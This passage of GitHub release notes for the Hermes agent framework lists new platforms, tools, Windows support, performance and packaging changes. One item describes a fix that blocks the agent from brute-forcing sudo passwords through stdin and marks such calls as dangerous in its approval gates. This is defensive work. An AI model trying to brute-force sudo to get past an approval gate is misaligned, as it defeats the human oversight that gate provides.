<p><strong>Cross-session 1-hour Claude prompt cache</strong> — Anthropic / OpenRouter / Nous Portal now share a 1h prefix cache across sessions for Claude models. Fast resume, fast <code>/new</code>, lower cost on repeat work. (<a href="https://github.com/NousResearch/hermes-agent/pull/23828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23828/hovercard">#23828</a>)</p>
</li>
<li>
<p><strong>Two new messaging platforms — LINE + SimpleX Chat</strong> — LINE Messaging API lands as a first-class platform, SimpleX Chat salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117407388" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2558/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2558">#2558</a> onto the modern adapter spec. Hermes is now on 22 platforms. (<a href="https://github.com/NousResearch/hermes-agent/pull/23197" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23197/hovercard">#23197</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26232/hovercard">#26232</a>)</p>
</li>
<li>
<p><strong>Microsoft Graph foundation — Teams pipeline + webhook adapter</strong> — <code>msgraph</code> auth/client foundation, webhook listener platform, Teams pipeline plugin runtime, and Teams outbound delivery via the existing adapter — Hermes can now read and post to Teams. (salvages of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400317607" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21408" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21408/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21408">#21408</a>–<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400321291" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21411" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21411/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21411">#21411</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21922/hovercard">#21922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/21969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21969/hovercard">#21969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22007/hovercard">#22007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22024/hovercard">#22024</a>)</p>
</li>
<li>
<p><strong><code>/handoff</code> actually transfers the session live</strong> — the agent's active session moves to a different model / persona / profile mid-conversation, with messages, tool history, and context preserved. (<a href="https://github.com/NousResearch/hermes-agent/pull/23395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23395/hovercard">#23395</a>)</p>
</li>
<li>
<p><strong><code>x_search</code> — first-class X (Twitter) search tool</strong> — gated tool with OAuth-or-API-key auth, no skill needed to query the timeline. (<a href="https://github.com/NousResearch/hermes-agent/pull/26763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26763/hovercard">#26763</a>)</p>
</li>
<li>
<p><strong><code>vision_analyze</code> returns pixels to vision-capable models</strong> — when the active model can see, <code>vision_analyze</code> now hands the image straight through instead of falling back to a text description. (<a href="https://github.com/NousResearch/hermes-agent/pull/22955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22955/hovercard">#22955</a>)</p>
</li>
<li>
<p><strong>LSP semantic diagnostics on every write</strong> — <code>write_file</code> and <code>patch</code> now run real language-server diagnostics on the post-edit file (delta-only) and surface real errors before they ship downstream. (<a href="https://github.com/NousResearch/hermes-agent/pull/24168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24168/hovercard">#24168</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25978" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25978/hovercard">#25978</a>)</p>
</li>
<li>
<p><strong>Per-turn file-mutation verifier footer</strong> — after every turn that wrote files, the agent gets a verifier footer summarizing what actually changed on disk — catches silent overwrites and "wrote it but it didn't land" bugs. (<a href="https://github.com/NousResearch/hermes-agent/pull/24498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24498/hovercard">#24498</a>)</p>
</li>
<li>
<p><strong>Unified <code>video_generate</code> with pluggable provider backends</strong> — single tool, any backend. Drop in a new video provider as a plugin, no core changes. (<a href="https://github.com/NousResearch/hermes-agent/pull/25126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25126/hovercard">#25126</a>)</p>
</li>
<li>
<p><strong><code>computer_use</code> cua-driver backend</strong> — proper focus-safe ops, non-Anthropic provider support, refresh on <code>hermes update</code>. Computer-use is no longer locked to a single SDK. (re-salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341933760" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16936" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16936/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16936">#16936</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21967/hovercard">#21967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/24063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24063/hovercard">#24063</a>)</p>
</li>
<li>
<p><strong>xAI Grok OAuth provider — SuperGrok via subscription</strong> — sign in with your xAI account, talk to Grok models from Hermes. (<a href="https://github.com/NousResearch/hermes-agent/pull/26534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26534/hovercard">#26534</a>)</p>
</li>
<li>
<p><strong>Clarify with buttons — native inline keyboards on Telegram + Discord</strong> — the <code>clarify</code> tool renders multi-choice prompts as platform-native buttons instead of typed responses. (<a href="https://github.com/NousResearch/hermes-agent/pull/24199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24199/hovercard">#24199</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25485" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25485/hovercard">#25485</a>)</p>
</li>
<li>
<p><strong>Discord channel history backfill (default on)</strong> — Hermes reads recent channel history when joining a thread so it actually knows what's been said. (<a href="https://github.com/NousResearch/hermes-agent/pull/25984" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25984/hovercard">#25984</a>)</p>
</li>
<li>
<p><strong>Watchers skill — RSS / HTTP JSON / GitHub polling via cron <code>no_agent</code> mode</strong> — skill recipes that wire change-detection sources directly into cron's script-only watchdog mode. (<a href="https://github.com/NousResearch/hermes-agent/pull/21881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21881/hovercard">#21881</a>)</p>
</li>
<li>
<p><strong>Zed ACP Registry integration + uvx distribution</strong> — Hermes is in the Zed registry, installable via <code>uvx</code> (no npm). Plus <code>hermes acp --setup-browser</code> bootstraps browser tools for registry installs. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/25908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25908/hovercard">#25908</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26079" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26079/hovercard">#26079</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26120/hovercard">#26120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26234/hovercard">#26234</a>)</p>
</li>
<li>
<p><strong>OpenRouter Pareto Code router</strong> — wire a new OpenRouter router with <code>min_coding_score</code> knob. Pick the cheapest model that meets your quality bar. (<a href="https://github.com/NousResearch/hermes-agent/pull/22838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22838/hovercard">#22838</a>)</p>
</li>
<li>
<p><strong>Optional codex app-server runtime for OpenAI/Codex models</strong> — drives the OpenAI Codex CLI under the hood for OpenAI/Codex paths, with session reuse, wedge retirement, and OAuth refresh classification. (<a href="https://github.com/NousResearch/hermes-agent/pull/24182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24182/hovercard">#24182</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25769" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25769/hovercard">#25769</a>)</p>
</li>
<li>
<p><strong><code>hermes-skills/huggingface</code> as a trusted default tap</strong> — community skills index from huggingface.co/skills is available by default in the Skills Hub. (<a href="https://github.com/NousResearch/hermes-agent/pull/26219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26219/hovercard">#26219</a>)</p>
</li>
<li>
<p><strong>9 new optional skills</strong> — Hyperliquid (perp/spot trading via SDK + REST) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> &amp; Hermes), Yahoo Finance market data, api-testing (REST/GraphQL debug), unified EVM multi-chain skill (folds <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441931751" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25291" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25291/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25291">#25291</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098909401" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2010" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2010/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2010">#2010</a> + base/), darwinian-evolver, osint-investigation (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4020048213" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/355" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/355/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/355">#355</a>), pinggy-tunnel, watchers (RSS/HTTP/GitHub via cron), Notion overhaul for the Developer Platform (May 2026). (<a href="https://github.com/NousResearch/hermes-agent/pull/23582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23582/hovercard">#23582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/23583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23583/hovercard">#23583</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/23590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23590/hovercard">#23590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25299" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25299/hovercard">#25299</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26760" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26760/hovercard">#26760</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26729" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26729/hovercard">#26729</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26765" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26765/hovercard">#26765</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/21881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21881/hovercard">#21881</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26612/hovercard">#26612</a>)</p>
</li>
<li>
<p><strong>API server exposes run approval events</strong> — long-running runs surface approval requests over the API stream, no more silent stalls. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/20311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20311/hovercard">#20311</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21899/hovercard">#21899</a>)</p>
</li>
<li>
<p><strong><code>/subgoal</code> — user-added criteria appended to active <code>/goal</code></strong> — layer extra success criteria onto a running goal loop. The judge sees them in the prompt, no behavior change when subgoals are empty. (<a href="https://github.com/NousResearch/hermes-agent/pull/25449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25449/hovercard">#25449</a>)</p>
</li>
<li>
<p><strong>Plugins can run any LLM call via <code>ctx.llm</code></strong> — plugins get a first-class hook to make their own LLM requests through the active provider/credentials, no manual wiring. Plus <code>tool_override</code> flag for replacing built-in tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/23194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23194/hovercard">#23194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26759/hovercard">#26759</a>)</p>
</li>
<li>
<p><strong>Brave Search (free tier) + DuckDuckGo (DDGS) as web-search providers</strong> — two new free search backends alongside Tavily / SearXNG / Exa. (<a href="https://github.com/NousResearch/hermes-agent/pull/21337" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21337/hovercard">#21337</a>)</p>
</li>
<li>
<p><strong>Sudo brute-force block + sudo-stdin/askpass DANGEROUS classification</strong> — closes the <code>sudo -S</code> brute-force avenue; approval gates classify stdin-fed and askpass-stripped sudo invocations as dangerous. (salvages of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4410605303" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22194/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22194">#22194</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4397828876" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21128" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21128/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21128">#21128</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23736/hovercard">#23736</a>)</p>
</li>
<li>
<p><strong>Provider rename — Alibaba Cloud → Qwen Cloud, picker reorder</strong> — matches what the world calls it. Existing config keys still work. (<a href="https://github.com/NousResearch/hermes-agent/pull/24835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24835/hovercard">#24835</a>)</p>
</li>
</ul>
<hr>
<h2>🪟 Windows — Native Support (Early Beta)</h2>
<h3>Bootstrap &amp; installer</h3>
<ul>
<li><strong>Native Windows support (early beta)</strong> — first-class native Windows path across CLI / gateway / TUI / tools (<a href="https://github.com/NousResearch/hermes-agent/pull/21561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21561/hovercard">#21561</a>)</li>
<li><strong>PyPI wheel packaging — <code>pip install hermes-agent &amp;&amp; hermes</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454164335" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/26350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26350/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/26350">#26350</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26593/hovercard">#26593</a>)</li>
<li><strong>Recognise Shift+Enter as a newline key</strong> + Windows docs (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4402428863" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21545" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21545/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21545">#21545</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22130/hovercard">#22130</a>)</li>
<li><strong>Preserve Ctrl+C for Windows foreground runs</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22752/hovercard">#22752</a>)</li>
<li><strong>Stop spamming cwd-missing + tirith-spawn warnings on every terminal call</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26618" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26618/hovercard">#26618</a>)</li>
<li><strong>Use <code>--extra all</code> not <code>--all-extras</code>; drop lazy-covered extras from <code>[all]</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24515/hovercard">#24515</a>)</li>
</ul>
<h3>Windows-specific fixes (40+ across cli / tools / gateway / curator / TUI)</h3>
<p>A long tail of native-Windows fixes shipped alongside the beta — taskkill-based subprocess management, MinGit auto-install, Microsoft Store python stub detection, npm prefix handling, native PTY paths, signal handling differences, foreground process management, ANSI sequence handling, path normalization, file-locking semantics, and many more. Full list in commit log under <code>fix(windows)</code> / <code>feat(windows)</code> / <code>windows</code>.</p>
<hr>
<h2>🚀 Performance Wave</h2>
<h3>Cold start</h3>
<ul>
<li><strong>Cut ~19s from <code>hermes</code> cold start</strong> — skills cache + lazy Feishu + no Nous HTTP at startup (<a href="https://github.com/NousResearch/hermes-agent/pull/22138" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22138/hovercard">#22138</a>)</li>
<li><strong>Skip eager plugin discovery on known built-in subcommands</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22120/hovercard">#22120</a>)</li>
<li><strong>Cache Nous auth + .env loads</strong> — <code>hermes tools</code> All Platforms from 14s to &lt;1.5s (<a href="https://github.com/NousResearch/hermes-agent/pull/25341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25341/hovercard">#25341</a>)</li>
<li><strong>Skip welcome banner on <code>chat -q</code> single-query mode</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22904/hovercard">#22904</a>)</li>
<li><strong>Defer heavy google-cloud imports in google_chat to first adapter use</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22681/hovercard">#22681</a>)</li>
<li><strong>Defer QQAdapter and YuanbaoAdapter imports via PEP 562</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22790" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22790/hovercard">#22790</a>)</li>
<li><strong>Defer httpx import in teams to first webhook call</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22831/hovercard">#22831</a>)</li>
<li><strong>Defer fal_client import to first generation request</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22859/hovercard">#22859</a>)</li>
<li><strong>models.dev cache-first lookup, skip network when disk cache is fresh</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22808/hovercard">#22808</a>)</li>
<li><strong>Parallelize API connectivity checks in <code>hermes doctor</code> and disable IMDS</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22766" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22766/hovercard">#22766</a>)</li>
</ul>
<h3>Runtime</h3>
<ul>
<li><strong>180x faster <code>browser_console</code> evaluations</strong> — route through supervisor's persistent CDP WebSocket (<a href="https://github.com/NousResearch/hermes-agent/pull/23226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23226/hovercard">#23226</a>)</li>
<li><strong>Tune Telegram cadence + adaptive fast-path for short replies</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269831381" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/10388" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10388/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/10388">#10388</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23587/hovercard">#23587</a>)</li>
<li><strong>Accumulate length-continuation prefix via list+join</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26237/hovercard">#26237</a>)</li>
</ul>
<h3>Prompt caching</h3>
<ul>
<li><strong>Cross-session 1h prefix cache for Claude on Anthropic / OpenRouter / Nous Portal</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23828/hovercard">#23828</a>)</li>
<li><strong>Hit prefix cache in background review fork</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348034723" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17276" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17276/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17276">#17276</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4443288876" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25427/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25427">#25427</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25434" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25434/hovercard">#25434</a>)</li>
</ul>
<hr>
<h2>📦 Installation &amp; Distribution</h2>
<h3>PyPI + supply-chain</h3>
<ul>
<li><strong>PyPI wheel packaging — <code>pip install hermes-agent &amp;&amp; hermes</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454164335" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/26350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26350/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/26350">#26350</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26593/hovercard">#26593</a>)</li>
<li><strong>Supply-chain advisory checker + lazy-install framework + tiered install fallback</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24220/hovercard">#24220</a>)</li>
<li><strong>Use <code>--extra all</code> not <code>--all-extras</code>; drop lazy-covered extras from <code>[all]</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24515/hovercard">#24515</a>)</li>
<li><strong>Skip browser download when system chromium exists</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25317" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25317/hovercard">#25317</a>)</li>
</ul>
<h3>Nix</h3>
<ul>
<li><strong><code>extraDependencyGroups</code> for sealed venv extras</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21817" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21817/hovercard">#21817</a>)</li>
<li><strong>Refresh npm lockfile hashes</strong> — keeps Nix flake builds reproducible</li>
</ul>
<h3>Docker</h3>
<ul>
<li><strong>Bootstrap auth.json from env on first boot</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21880" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21880/hovercard">#21880</a>)</li>
<li><strong>Drop manual @hermes/ink build, rely on esbuild bundle</strong> — slimmer image</li>
</ul>
<h3>ACP / Zed</h3>
<ul>
<li><strong>Zed ACP Registry integration</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448778934" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25908/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25908">#25908</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26079" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26079/hovercard">#26079</a>)</li>
<li><strong>Switch to uvx distribution, drop npm launcher</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26120/hovercard">#26120</a>)</li>
<li><strong><code>hermes acp --setup-browser</code> bootstraps browser tools for registry installs</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26234/hovercard">#26234</a>)</li>
</ul>
<hr>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Sessions &amp; handoff</h3>
<ul>
<li><strong><code>/handoff</code> actually transfers the session live</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23395/hovercard">#23395</a>)</li>
<li><strong>Expose <code>HERMES_SESSION_ID</code> env var to agent tools</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23847" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23847/hovercard">#23847</a>)</li>
</ul>
<h3>Goals (Ralph loop)</h3>
<ul>
<li><strong><code>/subgoal</code> — user-added criteria appended to active <code>/goal</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25449/hovercard">#25449</a>)</li>
<li><strong><code>/goal</code> checklist + /subgoal user controls</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23456" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23456/hovercard">#23456</a>) — rolled back in window (<a href="https://github.com/NousResearch/hermes-agent/pull/23813" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23813/hovercard">#23813</a>); /subgoal returned in simpler form via <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4443429014" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25449/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25449">#25449</a></li>
</ul>
<h3>Compression</h3>
<ul>
<li><strong>Make <code>protect_first_n</code> configurable</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25447" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25447/hovercard">#25447</a>)</li>
</ul>
<h3>Verification</h3>
<ul>
<li><strong>Per-turn file-mutation verifier footer</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24498/hovercard">#24498</a>)</li>
</ul>
<h3>Stream retry</h3>
<ul>
<li><strong>Log inner cause, upstream headers, bytes/elapsed on every drop</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23005/hovercard">#23005</a>)</li>
</ul>
<hr>
<h2>🤖 Models &amp; Providers</h2>
<h3>New providers</h3>
<ul>
